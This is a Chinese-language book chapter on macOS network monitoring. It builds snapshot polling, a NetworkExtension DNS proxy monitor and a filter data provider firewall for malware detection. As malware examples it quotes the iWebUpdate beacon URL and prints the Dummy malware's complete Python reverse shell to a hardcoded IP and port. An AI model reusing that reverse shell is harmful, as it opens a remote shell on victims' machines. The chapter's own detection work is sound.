在本章中,我将介绍在 macOS 系统上监控网络活动的多种方法。首先,我会从简单的开始,演示如何定期调度网络快照,以获得对主机网络活动的近乎连续的观察视角。接着,你将深入了解苹果的 NetworkExtension 框架和相关 API,这些工具可以用来定制操作系统的核心网络功能,并构建全面的网络监控工具。举例来说,我将讨论如何利用这个强大的框架来构建基于主机的 DNS 监控器和防火墙,从而实现对特定网络活动的过滤和阻断。
在第4章中,我们生成了设备网络状态的快照,记录了某一时刻的网络情况。虽然这种简单的方法能够有效检测多种恶意行为,但它也存在一定的局限性。最明显的是,如果恶意软件在快照拍摄的那一瞬间并未进行网络访问,它就会被漏检。比如在3CX供应链攻击中,恶意软件的信标仅每隔一两个小时发送一次。除非网络快照恰巧安排在恶意活动发生的时间点,否则快照将无法捕捉到恶意软件的网络行为。
为了解决这个问题,我们可以持续监控网络活动以发现感染迹象。收集到的网络数据可以帮助我们随着时间建立正常流量的基线,并为更大规模的分布式威胁狩猎系统提供数据输入。虽然这些方法在实现上比简单的快照工具更复杂,但它们对主机网络活动的深入洞察,使其成为任何全面恶意软件检测工具中不可或缺的组成部分。
本书不会涉及如何使用该框架进行完整的数据包捕获,因为捕获和处理完整数据包需要大量资源,几乎总是最好在网络层直接进行捕获,而不是在主机上进行。此外,完整数据包捕获通常对于检测恶意软件来说是“大材小用”。通常,仅仅识别一些未经授权的网络活动,比如监听套接字或连接到未知的 API 端点,就足以让我们怀疑某个进程(尤其是未识别进程)可能被感染。
注意:
要使用 NetworkExtension 框架的工具,我们必须添加相应的权限(entitlements),并且代码需要通过配置文件(provisioning profiles)来授权这些权限的运行。这里不详细介绍这一过程,因为本章重点是框架的核心概念。想了解如何获取必要权限和创建配置文件,请参考第三部分。
定期获取快照
持续监控网络活动的一种简单方法是反复拍摄当前网络状态的快照。例如,在第4章中,我们使用了苹果的 nettop 工具来显示网络信息。运行该工具时,它似乎会在新连接出现时自动更新信息。但查看该工具的手册页会发现,nettop 背后实际上只是定时获取网络快照。默认情况下,它每秒拍摄一次快照,但你可以用 -s 命令行选项修改时间间隔。这算是真正的网络监控吗?不是,但这种方法简单直接,只要快照频率足够高,通常能够全面检测可疑的网络活动。
为了模拟 nettop,我们可以利用 NetworkStatistics 框架,调用其 NStatManagerQueryAllSourcesDescriptions API(第4章中已讨论),获取网络活动快照。然后,我们只需定期重复调用该 API 即可。代码清单7-1正是实现了这一功能。
dispatch_queue_t queue = dispatch_queue_create(NULL, NULL); ❶
dispatch_source_t source = dispatch_source_create(DISPATCH_SOURCE_TYPE_TIMER, 0, 0, queue); ❷
NSUInteger refreshRate = 10;
dispatch_source_set_timer(source, DISPATCH_TIME_NOW, refreshRate * NSEC_PER_SEC, 0); ❸
dispatch_source_set_event_handler(source, ^{ ❹
NStatManagerQueryAllSourcesDescriptions(manager, ^{
// 查询完成后执行的代码。
});
});
dispatch_resume(source); ❺
代码首先创建了一个调度队列 ❶ 和一个调度源 ❷。然后通过 dispatch_source_set_timer API 设置调度源的起始时间和刷新频率 ❸。这里为演示指定了10秒刷新一次。API 参数需要以纳秒为单位,因此乘以了系统常量 NSEC_PER_SEC(表示一秒的纳秒数)。接着,创建了事件处理器 ❹,每当调度源触发时,都会重新调用 NStatManagerQueryAllSourcesDescriptions API。最后,通过调用 dispatch_resume ❺ 启动基于快照的监控器。接下来,我们将讲述如何实现持续监控。
DNS 监控
监控 DNS 流量是检测多种恶意软件的有效方法。其核心思想很简单:无论恶意软件如何感染受害机器,它与某个域(比如其指挥控制服务器)建立的任何连接,都会产生 DNS 请求和响应。如果我们直接在主机上监控 DNS 流量,可以实现以下功能:
- 识别使用网络的新进程
每当这种活动发生时,都应密切关注这个新进程。用户经常会安装一些合法访问网络的新软件,但如果该程序没有经过公证或具备持久性等特征,就可能是恶意程序。 - 提取进程尝试解析的域名
如果域名看起来可疑(比如托管于恶意行为者常用的互联网服务提供商),这可能暴露恶意软件的存在。同时,保存这些 DNS 请求可以形成系统活动的历史记录,当安全社区发现新的恶意软件时,可以通过查询这些记录,尽管是事后,来确认系统是否被感染。 - 检测利用 DNS 作为数据泄露通道的恶意软件
由于防火墙通常允许 DNS 流量通过,恶意软件可以通过合法的 DNS 请求将数据偷偷传出。
仅监控 DNS 流量比监控所有网络活动更高效,但依然能发现大部分恶意软件。举个例子,看看我在2023年初发现的一个恶意更新组件。这个名为 iWebUpdater 的二进制文件会持续安装到 ~/Library/Services/iWebUpdate。它会向域名 iwebservicescloud.com 发送信标,报告感染主机信息,并下载和安装其他恶意二进制文件。在这个恶意的 iWebUpdate 二进制中,可以在地址 0x10000f7c2 处找到这个硬编码的域名:
0x000000010000f7c2 db "https://iwebservicescloud.com/api/v0", 0
在其反汇编代码中,恶意软件在构建包含感染主机信息参数的 URL 时,会引用此地址:
__snprintf_chk(var_38, var_30, 0x0, 0xffffffffffffffff, "%s%s?v=%d&c=%s&u=%s&os=%s&hw=%s",
"https://iwebservicescloud.com/api/v0", r13, 0x2, r12, byte_100023f50, rcx, rax);
随后,恶意更新程序通过调用 curl API 试图连接该 URL。使用流行的网络监控工具 Wireshark,我们可以观察到相关的 DNS 请求和响应(见图 7-1)。
尽管杀毒引擎最初没有将该二进制文件标记为恶意,但域名 iwebservicescloud.com 长期以来都解析到与恶意行为者相关的 IP 地址。如果我们能将 DNS 数据关联回 iWebUpdate 二进制文件(我稍后会演示如何做到),就会发现它来源于一个持续安装且未签名的启动代理程序。非常可疑!
再举一个 DNS 监控威力的例子,我们来仔细看看 3CX 供应链攻击。供应链攻击因其隐蔽性而著称难以检测,而在这起事件中,苹果不慎为被篡改的 3CX 安装程序进行了公证。虽然传统的杀毒软件最初未将该应用标记为恶意,但利用 DNS 监控能力的安全工具很快发现异常并开始提醒用户,用户纷纷涌向 3CX 论坛,发帖称:“我收到一条警报……提示 3CX 桌面应用试图与一个‘高度可疑’的域通信,可能是攻击者控制的。”
那么其他启发式方法能检测到这次攻击吗?可能,但即便是苹果的公证系统也未察觉。幸运的是,DNS 监控为检测被篡改应用与一个新出现的异常域通信提供了手段,及时的缓解措施避免了这可能成为一次影响巨大且范围广泛的网络安全事件。
当然,DNS 监控也有其缺点。最显著的是,它无法检测那些不进行域名解析的恶意软件,比如仅仅开启监听套接字等待远程连接的简单后门,或者直接连接 IP 地址的恶意程序。尽管这类恶意软件较为罕见,但偶尔仍会遇到。比如之前提到的简单 Mac 恶意软件 Dummy,它会创建一个反向 shell,连接到一个硬编码的 IP 地址:
#!/bin/bash
while :
do
python -c '
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("185.243.115.230",1337));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
'
sleep 5
done
直接连接 IP 地址不会产生任何 DNS 流量,因此 DNS 监控无法检测 Dummy。此时,你需要一个更全面的过滤数据提供者,能够监控所有流量。本章后面我将展示如何使用同一个框架和许多构建简单 DNS 监控器时用到的 API,打造这样一个更强大的工具。
使用 NetworkExtension 框架
在 macOS 上监控网络流量,以前需要编写网络内核扩展(kernel extension)。苹果后来废弃了这种方式,以及所有第三方内核扩展,推出了系统扩展(system extensions)作为替代。系统扩展运行在用户态,更安全,并提供了一种现代化机制来扩展或增强 macOS 的功能。
为了扩展核心网络功能,苹果还引入了用户态的 NetworkExtension 框架。通过构建利用该框架的系统扩展,你可以实现与已废弃的网络内核扩展相同的功能,但运行在用户态。
系统扩展功能强大,因此苹果要求在部署扩展之前必须满足若干先决条件:
- 你必须将扩展打包在应用程序包的
Contents/Library/SystemExtensions/目录下。 - 包含扩展的应用必须拥有
com.apple.developer.system-extension.install权限(entitlement),并且使用包含授权该权限的配置文件(provisioning profile)进行构建。 - 应用必须使用 Apple 开发者 ID 签名,并经过苹果的公证(notarization)。
- 应用必须安装在合适的应用目录中。
- 在非托管环境(unmanaged environment)下,macOS 需要用户明确同意才能加载任何系统扩展。
我将在第13章详细讲解如何满足这些要求。如本书前言所述,你可以关闭系统完整性保护(SIP)和 Apple 移动文件完整性(AMFI)来绕开部分限制,但关闭这些保护会显著降低系统整体安全性,因此建议只在虚拟机或专门用于开发测试的系统中这么做。
接下来,我将简要介绍如何以编程方式安装和加载系统扩展,然后使用 NetworkExtension 框架监控 DNS 流量。相关代码片段会提供,完整代码可见 Objective-See 开源项目 DNSMonitor,详细讲解也在第13章。
注意:
本节提及的若干 API 已被苹果在 macOS 15 中弃用,但在本书出版时仍可使用。如果你为旧版本 macOS 开发,仍需使用这些 API 以保证兼容性。此外,部分被弃用的函数(如苹果的 libresolv 库函数)暂无直接替代方案,因此必要时继续使用它们是合理的。
激活系统扩展
苹果要求所有系统扩展必须放在应用包内,因此安装或激活系统扩展的代码也必须写在应用程序中。清单 7-2 展示了如何以编程方式激活系统扩展。
#define EXT_BUNDLE_ID @"com.example.dnsmonitor.extension"
OSSystemExtensionRequest* request = [OSSystemExtensionRequest
activationRequestForExtension:EXT_BUNDLE_ID
queue:dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_HIGH, 0)]; ❶
request.delegate = <符合 OSSystemExtensionRequestDelegate 协议的对象>; ❷
[OSSystemExtensionManager.sharedManager submitRequest:request]; ❸
包含扩展的应用应首先调用 OSSystemExtensionRequest 类的 activationRequestForExtension:queue: 方法 ❶,它会创建一个激活系统扩展的请求。此方法需要传入扩展的 Bundle ID 和一个调度队列,后者用于调用代理方法。我们必须在提交请求前设置代理 ❷,然后将请求提交给系统扩展管理器以触发激活 ❸。
接下来详细讲讲代理。OSSystemExtensionRequest 对象需要一个代理,该代理需遵循 OSSystemExtensionRequestDelegate 协议,实现一系列方法,用于处理激活过程中的回调,包括成功和失败情况。系统在激活扩展的过程中会自动调用这些代理方法。根据苹果文档,这些必要的代理方法包括:
requestNeedsUserApproval:
当系统判断需要用户批准扩展激活时调用。request:actionForReplacingExtension:withExtension:
当系统已有另一版本的该扩展时调用,用于确定如何替换。request:didFailWithError:
当激活请求失败时调用。request:didFinishWithResult:
当激活请求完成时调用。
你的应用必须实现这些代理方法,否则系统激活扩展时尝试调用它们会导致应用崩溃。好消息是,这些方法的实现并不复杂。例如,requestNeedsUserApproval: 可以直接返回,request:didFailWithError: 也可简单返回(当然你可能想用它来记录错误信息)。request:actionForReplacingExtension:withExtension: 方法可以返回 OSSystemExtensionReplacementActionReplace,告诉系统替换旧版本扩展。
用户批准扩展后,系统会调用 request:didFinishWithResult: 代理方法。如果传入的结果是 OSSystemExtensionRequestCompleted,表示扩展激活成功。此时,你就可以开始启用网络监控功能了。
启用监控
假设系统扩展已经成功激活,现在你可以指示系统开始通过该扩展路由所有 DNS 流量。单例对象 NEDNSProxyManager 可以用来启用该监控功能,如清单 7-3 所示。
#define EXT_BUNDLE_ID @"com.example.dnsmonitor.extension"
[NEDNSProxyManager.sharedManager loadFromPreferencesWithCompletionHandler:^(NSError* _Nullable error) { ❶
NEDNSProxyManager.sharedManager.localizedDescription = @"DNS Monitor"; ❷
NEDNSProxyProviderProtocol* protocol = [[NEDNSProxyProviderProtocol alloc] init]; ❸
protocol.providerBundleIdentifier = EXT_BUNDLE_ID;
NEDNSProxyManager.sharedManager.providerProtocol = protocol;
NEDNSProxyManager.sharedManager.enabled = YES; ❹
[NEDNSProxyManager.sharedManager saveToPreferencesWithCompletionHandler:^(NSError* _Nullable error) { ❺
// 如果没有错误,说明 DNS 代理提供程序正在运行。
}];
}];
清单 7-3:通过 NEDNSProxyManager 对象启用 DNS 监控
首先,我们必须调用 NEDNSProxyManager 类的共享管理器方法 loadFromPreferencesWithCompletionHandler: 来加载当前的 DNS 代理配置 ❶。此方法接收一个回调块,在偏好设置加载完成后执行。
回调执行后,我们可以配置偏好设置来启用 DNS 监控。首先设置一个描述信息 ❷,该描述会显示在操作系统的“系统设置”应用中,便于用户查看所有激活的扩展。然后分配并初始化一个 NEDNSProxyProviderProtocol 对象,并设置其扩展包标识符 ❸。接着,将共享管理器的 enabled 属性设为 YES 以开启 DNS 监控 ❹。
最后调用共享管理器的 saveToPreferencesWithCompletionHandler: 方法保存更新后的配置信息 ❺。调用完成后,系统扩展应完全激活,操作系统会开始通过该扩展代理 DNS 流量。
编写扩展
当请求激活系统扩展并开启网络扩展时,系统会将扩展从应用包复制到受保护的、归 root 所有的目录 /Library/SystemExtension。验证通过后,系统会以独立进程加载并执行扩展,且该进程拥有 root 权限。
既然我们已经在应用中激活了扩展,下面看看扩展本身的代码。清单 7-4 展示了扩展的入口。
int main(int argc, const char* argv[]) {
[NEProvider startSystemExtensionMode];
...
dispatch_main();
}
清单 7-4:网络扩展的初始化逻辑
在扩展的主函数中,我们调用 NEProvider 的 startSystemExtensionMode 方法来“启动网络扩展机制”。我也建议调用 dispatch_main,否则主函数会返回,扩展进程会退出。
在幕后,startSystemExtensionMode 会让 NetworkExtension 框架实例化在扩展 Info.plist 文件中 NetworkExtension 字典下 NEProviderClasses 键指定的类:
<key>NetworkExtension</key>
<dict>
...
<key>NEProviderClasses</key>
<dict>
<key>com.apple.networkextension.dns-proxy</key>
<string>DNSProxyProvider</string>
</dict>
</dict>
你必须创建这个类,名字自定。这里示例用的是 DNSProxyProvider,我们关注的是 DNS 流量代理,因此用的键值是 com.apple.networkextension.dns-proxy。此类必须继承自 NEProvider 类或其子类,比如 NEDNSProxyProvider:
@interface DNSProxyProvider : NEDNSProxyProvider
...
@end
此外,该类必须实现 NetworkExtension 框架调用的相关代理方法,用于处理 DNS 网络事件。这些代理方法包括:
startProxyWithOptions:completionHandler:stopProxyWithReason:completionHandler:handleNewFlow:
启动和停止方法为你提供了初始化和清理的机会。可以在 NEDNSProxyProvider.h 文件或苹果官方的 NEDNSProxyProvider 类文档中了解更多。
框架会自动调用 handleNewFlow: 代理方法传递网络数据,因此该方法应包含 DNS 监控的核心逻辑。方法调用时带有一个 flow,代表源和目标之间传输的一单位网络数据。
NEAppProxyFlow 对象封装了传给 handleNewFlow: 的流,提供网络数据的接口。由于 DNS 流量通常走 UDP,本例仅关注 UDP 流,其类型是 NEAppProxyUDPFlow,是 NEAppProxyFlow 的子类。第13章中,我会详细讲解 UDP 流量代理的步骤,当前我们只先了解处理 DNS 数据包的过程。
解析 DNS 请求
我们可以通过读取 NEAppProxyUDPFlow 流对象,获取特定 DNS 请求(在 DNS 术语中称为“问题”)对应的多个数据报。每个数据报存储在一个 NSData 对象中;清单 7-5 展示了如何解析并打印这些数据报。
#import <dns_util.h>
...
[flow readDatagramsWithCompletionHandler:^(NSArray* datagrams, NSArray* endpoints, NSError* error) {
for(int i = 0; i < datagrams.count; i++) {
NSData* packet = datagrams[i];
dns_reply_t* parsedPacket = dns_parse_packet(packet.bytes, (uint32_t)packet.length); ❶
dns_print_reply(parsedPacket, stdout, 0xFFFF); ❷
...
dns_free_reply(parsedPacket); ❸
}
...
}];
清单 7-5:读取并解析 DNS 数据报
我们使用苹果 libresolv 库中的 dns_parse_packet 函数解析数据包 ❶,接着调用 dns_print_reply 函数打印包内容 ❷,最后调用 dns_free_reply 释放内存 ❸。
当然,你可能希望程序对 DNS 请求进行检查,而不是简单打印。可以检查 dns_parse_packet 返回的 dns_reply_t 类型的解析结果。例如,清单 7-6 展示了如何访问请求的完全限定域名(FQDN)。
NSMutableArray* questions = [NSMutableArray array];
for(uint16_t i = 0; i < parsedPacket->header->qdcount; i++) { ❶
NSMutableDictionary* details = [NSMutableDictionary dictionary];
dns_question_t* question = parsedPacket->question[i];
details[@"Question Name"] = [NSString stringWithUTF8String:question->name]; ❷
details[@"Question Class"] = [NSString stringWithUTF8String:dns_class_string(question->dnsclass)];
details[@"Question Type"] = [NSString stringWithUTF8String:dns_type_string(question->dnstype)];
[questions addObject:details]; ❸
}
清单 7-6:从解析后的 DNS 请求中提取关键信息
这里利用 DNS 包中的 qdcount 和 question 成员遍历每个问题 ❶。对每个问题,我们提取其名称(即要解析的域名) ❷、类别和类型,利用苹果提供的 dns_class_string 函数转换为字符串,并保存到字典中。最后将每个问题的字典添加到数组中 ❸。
比如,你用 nslookup 命令查询 objective-see.org,DNS 监控代码就会捕获该请求:
# /Applications/DNSMonitor.app/Contents/MacOS/DNSMonitor
{
"Process" : {
"processPath" : "/usr/bin/nslookup",
"processSigningID" : "com.apple.nslookup",
"processID" : 5295
},
"Packet" : {
"Opcode" : "Standard",
"QR" : "Query",
"Questions" : [
{
"Question Name" : "objective-see.org",
"Question Class" : "IN",
"Question Type" : "A"
}
],
"RA" : "No recursion available",
"Rcode" : "No error",
"RD" : "Recursion desired",
"XID" : 36565,
"TC" : "Non-Truncated",
"AA" : "Non-Authoritative"
}
}
接下来,我们处理 DNS 响应(称为答案)。
解析 DNS 响应
利用 NEDNSProxyProvider 类的 DNS 监控器本质上是一个代理,既代理本地请求,也代理远程响应。这意味着我们必须读取本地流的 DNS 请求,然后打开远程连接,将请求发送给目的地。要访问响应,我们通过 nw_connection_receive API 从远程端点读取数据。清单 7-7 展示了调用该 API 读取数据后,在回调中调用 dns_parse_packet 解析响应。
nw_connection_receive(connection, 1, UINT32_MAX,
^(dispatch_data_t content, nw_content_context_t context,
bool is_complete, nw_error_t receive_error) {
NSData* packet = (NSData*)content;
dns_reply_t* parsedPacket =
dns_parse_packet(packet.bytes, (uint32_t)packet.length);
dns_free_reply(parsedPacket);
...
});
清单 7-7:接收并解析 DNS 响应
尽管我们可以用 dns_print_reply 直接打印响应,但这里我们提取答案。清单 7-8 展示的代码与提取问题的片段类似。
NSMutableArray* answers = [NSMutableArray array];
for(uint16_t i = 0; i < parsedPacket->header->ancount; i++) { ❶
NSMutableDictionary* details = [NSMutableDictionary dictionary];
dns_resource_record_t* answer = parsedPacket->answer[i]; ❷
details[@"Answer Name"] = [NSString stringWithUTF8String:answer->name];
details[@"Answer Class"] = [NSString stringWithUTF8String:dns_class_string(answer->dnsclass)];
details[@"Answer Type"] = [NSString stringWithUTF8String:dns_type_string(answer->dnstype)];
switch(answer->dnstype) { ❸
case ns_t_a: ❹
details[@"Host Address"] = [NSString stringWithUTF8String:inet_ntoa(answer->data.A->addr)]; ❺
break;
...
}
[answers addObject:details];
}
清单 7-8:从解析后的 DNS 响应中提取关键信息
这里我们访问响应包中的 ancount ❶ 和 answer 成员 ❷,并根据类型 ❸ 进一步提取内容,比如如果类型是 IPv4 地址(ns_t_a) ❹,则调用 inet_ntoa 函数转换为字符串 ❺。
运行包含此代码并获得相应权限和公证的 Objective-See 的 DNSMonitor 时,可以捕获之前对 objective-see.org 的查询响应:
# /Applications/DNSMonitor.app/Contents/MacOS/DNSMonitor
{
"Process" : {
"processPath" : "/usr/bin/nslookup",
"processSigningID" : "com.apple.nslookup",
"processID" : 51021
},
"Packet" : {
"Opcode" : "Standard",
"QR" : "Reply",
"Questions" : [
{
"Question Name" : "objective-see.org",
"Question Class" : "IN",
"Question Type" : "A"
}
],
"Answers" : [
{
"Name" : "objective-see.org",
"Type" : "IN",
"Host Address" : "185.199.110.153",
"Class" : "IN"
},
{
"Name" : "objective-see.org",
"Type" : "IN",
"Host Address" : "185.199.109.153",
"Class" : "IN"
},
...
],
...
}
}
包类型是包含原始问题和答案的响应。我们还得知域名 objective-see.org 映射到多个 IP 地址。当分析真实恶意软件时,这类信息非常有用。
以之前提到的 iWebUpdater 为例。当它连接到 iwebservicescloud.com 时,会生成如下 DNS 请求和响应:
# /Applications/DNSMonitor.app/Contents/MacOS/DNSMonitor
{
"Process" : {
"processPath" : "/Users/user/Library/Services/iWebUpdate",
"processSigningID" : null,
"processID" : 51304
},
"Packet" : {
"Opcode" : "Standard",
"QR" : "Query",
"Questions" : [
{
"Question Name" : "iwebservicescloud.com",
"Question Class" : "IN",
"Question Type" : "A"
}
],
...
}
},{
"Process" : {
"processPath" : "/Users/user/Library/Services/iWebUpdate",
"processSigningID" : null,
"processID" : 51304
},
"Packet" : {
"Opcode" : "Standard",
"QR" : "Reply",
"Questions" : [
{
"Question Name" : "iwebservicescloud.com",
"Question Class" : "IN",
"Question Type" : "A"
}
],
"Answers" : [
{
"Name" : "iwebservicescloud.com",
"Type" : "IN",
"Host Address" : "173.231.184.122",
"Class" : "IN"
}
],
...
}
}
DNS 监控代码能够检测到请求和响应。将其中任意一条信息传入外部威胁情报平台(如 VirusTotal),应能发现该域名曾解析到与恶意活动相关的 IP(包括本例中的具体 IP)。
细心的读者可能注意到输出还标识了发起请求的进程 iWebUpdater。接下来我们看看如何做到这一点。
识别负责的进程
识别发起 DNS 请求的进程对于检测恶意软件至关重要,而非基于主机的 DNS 监控无法提供这类信息。例如,来自受信任系统进程的请求通常是安全的,而像 iWebUpdate 这样持久存在且未经过公证的进程的请求应受到严格审查。
下面我将演示如何利用 NetworkExtension 框架提供的信息获取负责进程的进程 ID。传递给扩展的 handleNewFlow: 代理方法中的 flow 对象包含一个名为 metaData 的实例变量,类型是 NEFlowMetaData。查阅 NEFlowMetaData.h(位于 NetworkExtension.framework/Versions/A/Headers/)可知,它包含一个名为 sourceAppAuditToken 的属性,该属性即为负责进程的审计令牌(audit token)。
通过这个审计令牌,我们可以提取负责进程的进程 ID,并通过 SecCode* API 安全地获取其路径。清单 7-9 实现了这一技术。
CFURLRef path = NULL;
SecCodeRef code = NULL;
audit_token_t* auditToken = (audit_token_t*)flow.metaData.sourceAppAuditToken.bytes; ❶
pid_t pid = audit_token_to_pid(*auditToken); ❷
SecCodeCopyGuestWithAttributes(NULL, (__bridge CFDictionaryRef _Nullable)(@{(_bridge NSString*)kSecGuestAttributeAudit:flow.metaData.sourceAppAuditToken}), kSecCSDefaultFlags, &code); ❸
SecCodeCopyPath(code, kSecCSDefaultFlags, &path); ❹
// 使用进程 ID 和路径做后续处理
CFRelease(path);
CFRelease(code);
清单 7-9:从网络流中获取负责进程的进程 ID 和路径
首先,我们初始化一个指向审计令牌的指针。正如前述,sourceAppAuditToken 是以 NSData 对象形式保存的,要获得令牌实际字节的指针,我们使用 NSData 的 bytes 属性 ❶。利用该指针,我们通过 audit_token_to_pid 函数提取关联的进程 ID ❷。接着,通过审计令牌获取代码引用 ❸,再调用 SecCodeCopyPath 函数获取进程路径 ❹。
需要注意的是,SecCodeCopyGuestWithAttributes API 可能会失败,比如当进程已自行删除时。这种情况非常罕见,但通常意味着恶意进程存在。无论如何,你可能需要依赖其他不那么确定的方法来获取进程路径,比如检查进程参数,但这类参数可能被暗中篡改。
此外,我们还能从 flow 中提取负责进程的代码签名标识符(code signing identifier),这有助于判断进程是良性还是需要进一步调查。该标识符存储在 flow 的 sourceAppSigningIdentifier 属性中。清单 7-10 演示了如何提取它。
NSString* signingID = flow.metaData.sourceAppSigningIdentifier;
清单 7-10:从网络流中提取代码签名信息
如本章前面所述,到目前为止介绍的 DNS 监控流程无法检测像 Dummy 这样直接连接 IP 地址的恶意软件。为检测此类威胁,我们需要扩展监控能力,审查所有网络流量。
过滤数据提供者
macOS 提供的最强大网络监控功能之一就是过滤数据提供者(filter data providers)。它们作为系统扩展实现,基于 NetworkExtension 框架,能够观察并过滤所有网络流量。你可以用它们主动阻断恶意网络流量,也可以被动观察所有网络流,识别潜在可疑进程以便进一步调查。
有趣的是,当苹果推出过滤数据提供者和其他网络扩展时,最初决定豁免各种系统组件产生的流量,不对其进行过滤。虽然这些流量之前是通过已废弃的网络内核扩展路由的,但这意味着之前可以观察全部网络流量的安全工具,如网络监控和防火墙,现在对部分流量“视而不见”。不出意料,滥用这些豁免的系统组件变得容易,提供了绕过任何基于苹果网络扩展构建的第三方安全工具的隐蔽方法。在我演示该绕过方法后,媒体广泛报道,公众舆论促使苹果重新评估策略。最终,库比蒂诺的决策者们做出了明智选择;如今,macOS 上所有网络流量都会通过任何已安装的过滤数据提供者路由。
注意:
正如 DNS 监控器一样,我们在此实现的过滤数据提供者网络扩展也必须满足“使用 NetworkExtension 框架”一节讨论的前提条件(见第159页)。
本节代码主要来自我个人编写的 Objective-See 流行开源防火墙 LuLu。你可以在其 GitHub 仓库(github.com/objective-s…)找到完整代码。
启用过滤
首先,程序化激活实现过滤数据提供者的网络扩展。此过程与激活 DNS 监控网络扩展略有不同;我们不使用 NEDNSProxyManager,而是使用 NEFilterManager。
在主应用中,使用第160页“激活系统扩展”一节介绍的流程激活扩展,然后按清单 7-11 启用过滤。
[NEFilterManager.sharedManager loadFromPreferencesWithCompletionHandler:^(NSError* _Nullable error) { ❶
NEFilterProviderConfiguration* config = [[NEFilterProviderConfiguration alloc] init]; ❷
config.filterPackets = NO; ❸
config.filterSockets = YES;
NEFilterManager.sharedManager.providerConfiguration = config; ❹
NEFilterManager.sharedManager.enabled = YES;
[NEFilterManager.sharedManager saveToPreferencesWithCompletionHandler:^(NSError* _Nullable error) { ❺
// 如果无错误,过滤数据提供者正在运行。
}];
}];
清单 7-11:用 NEFilterManager 对象启用过滤
首先访问 NEFilterManager 共享管理器,调用其 loadFromPreferencesWithCompletionHandler: 方法 ❶。加载完成后,初始化 NEFilterProviderConfiguration 对象 ❷。设置两个配置选项 ❸:我们不需要过滤数据包(设为 NO),但希望过滤套接字活动(设为 YES)。接着,将配置赋值给共享管理器的 providerConfiguration 属性 ❹。启用共享管理器,最后调用 saveToPreferencesWithCompletionHandler: 保存配置 ❺。完成后,过滤数据提供者应开始运行。
编写扩展
与 DNS 监控类似,过滤数据提供者是独立二进制文件,需打包在应用包的 Contents/Library/SystemExtensions/ 目录中。加载后,应调用 NEProvider 的 startSystemExtensionMode: 方法。
在扩展的 Info.plist 文件中,添加一个字典,键为 NEProviderClasses,包含一组键值对(见清单 7-12)。
<key>NEProviderClasses</key>
<dict>
<key>com.apple.networkextension.filter-data</key>
<string>FilterDataProvider</string>
</dict>
...
清单 7-12:扩展的 Info.plist 文件,指定 NEProviderClasses 类
我们将键设置为 com.apple.networkextension.filter-data,值为扩展中继承自 NEFilterDataProvider 类的类名。此例中,我们命名该类为 FilterDataProvider,声明如下(见清单 7-13)。
@interface FilterDataProvider : NEFilterDataProvider
...
@end
清单 7-13:FilterDataProvider 类的接口定义
过滤数据提供者扩展启动运行后,NetworkExtension 框架会自动调用该类的 startFilterWithCompletionHandler 方法,在这里你指定要过滤的流量。清单 7-14 代码设置了过滤规则,过滤所有协议但仅限出站流量,这对于检测未授权或新程序(可能是恶意软件)比监控入站流量更有用。
-(void)startFilterWithCompletionHandler:(void (^)(NSError* error))completionHandler {
NENetworkRule* networkRule = [[NENetworkRule alloc] initWithRemoteNetwork:nil
remotePrefix:0 localNetwork:nil localPrefix:0 protocol:NENetworkRuleProtocolAny
direction:NETrafficDirectionOutbound]; ❶
NEFilterRule* filterRule =
[[NEFilterRule alloc] initWithNetworkRule:networkRule action:NEFilterActionFilterData]; ❷
NEFilterSettings* filterSettings =
[[NEFilterSettings alloc] initWithRules:@[filterRule] defaultAction:NEFilterActionAllow]; ❸
[self applySettings:filterSettings completionHandler:^(NSError* _Nullable error) { ❹
// 如果无错误,过滤数据提供者开始过滤。
}];
...
}
清单 7-14:设置过滤规则,指定哪些流量应通过扩展
代码首先创建一个 NENetworkRule 对象,设置协议为任意,方向为出站 ❶。用此对象创建 NEFilterRule,动作设为 NEFilterActionFilterData,告诉框架我们要过滤数据 ❷。接着,创建 NEFilterSettings,指定规则为匹配所有出站流量,默认动作为允许(NEFilterActionAllow),意味着不匹配规则的流量放行 ❸。最后应用设置,开始过滤 ❹。
处理新流量
当系统上的程序发起新的出站网络连接时,系统会自动调用过滤类的 handleNewFlow: 代理方法。虽然名称相同,但此方法与 DNS 监控中的有所不同。它只接受一个参数——包含流量信息的 NEFilterFlow 对象,并且必须返回一个指示系统如何处理该流的 NEFilterNewFlowVerdict 对象。该对象可指定的处理结果包括允许(allowVerdict)、丢弃(dropVerdict)或暂停(pauseVerdict)。因为这里我们关注将流量关联到负责进程,所以暂时全部允许(见清单 7-15)。
-(NEFilterNewFlowVerdict*)handleNewFlow:(NEFilterFlow*)flow {
...
return [NEFilterNewFlowVerdict allowVerdict];
}
清单 7-15:从 handleNewFlow: 方法返回处理结果
如果我们要构建防火墙,则应根据规则或用户提示来决定是否允许或阻止每个流量。
查询流量信息
通过查询流量(flow),我们可以提取其远端端点信息以及生成该流量的负责进程。首先,打印出 flow 对象。例如,下面是 curl 试图连接到 objective-see.org 时生成的一个流量对象:
flow:
identifier = D89B5B5D-793C-4940-80FE-54932FAA0500
sourceAppIdentifier = com.apple.curl
sourceAppVersion =
sourceAppUniqueIdentifier =
{length = 20, bytes = 0xbbb73e021281eee708f86d974c91182e955de441}
procPID = 26686
eprocPID = 26686
direction = outbound
inBytes = 0
outBytes = 0
signature =
{length = 32, bytes = 0x5a322cd8 f14f63bc a117ddf5 1762fa5abb8291c9 2b6ab2fd}
socketID = 5aa2f9354fe80
localEndpoint = 0.0.0.0:0
remoteEndpoint = 185.199.108.153:80
remoteHostname = objective-see.org.
protocol = 6
family = 2
type = 1
procUUID = 9C547A5F-AD1C-307C-8C16-426EF9EE2F7F
eprocUUID = 9C547A5F-AD1C-307C-8C16-426EF9EE2F7F
除了负责进程的信息(如应用 ID)外,还能看到目的地的详情,包括端点和主机名。flow 对象还包含流量类型的信息,如协议和套接字族。
接下来提取更细粒度的信息。回想我们配置过滤时,告诉系统只对套接字进行过滤。因此传入 handleNewFlow: 方法的 flow 是 NEFilterSocketFlow 对象,它是 NEFilterFlow 的子类。该对象有一个实例变量 remoteEndpoint,类型为 NWEndpoint,包含流量目的地信息。你可以通过 NEFilterSocketFlow 对象的 hostname 属性提取远程 IP 地址,通过 port 属性提取端口号,这两个都是字符串(见清单 7-16)。
NSString* addr = ((NEFilterSocketFlow*)flow).remoteEndpoint.hostname;
NSString* port = ((NEFilterSocketFlow*)flow).remoteEndpoint.port;
清单 7-16:提取远程端点的地址和端口
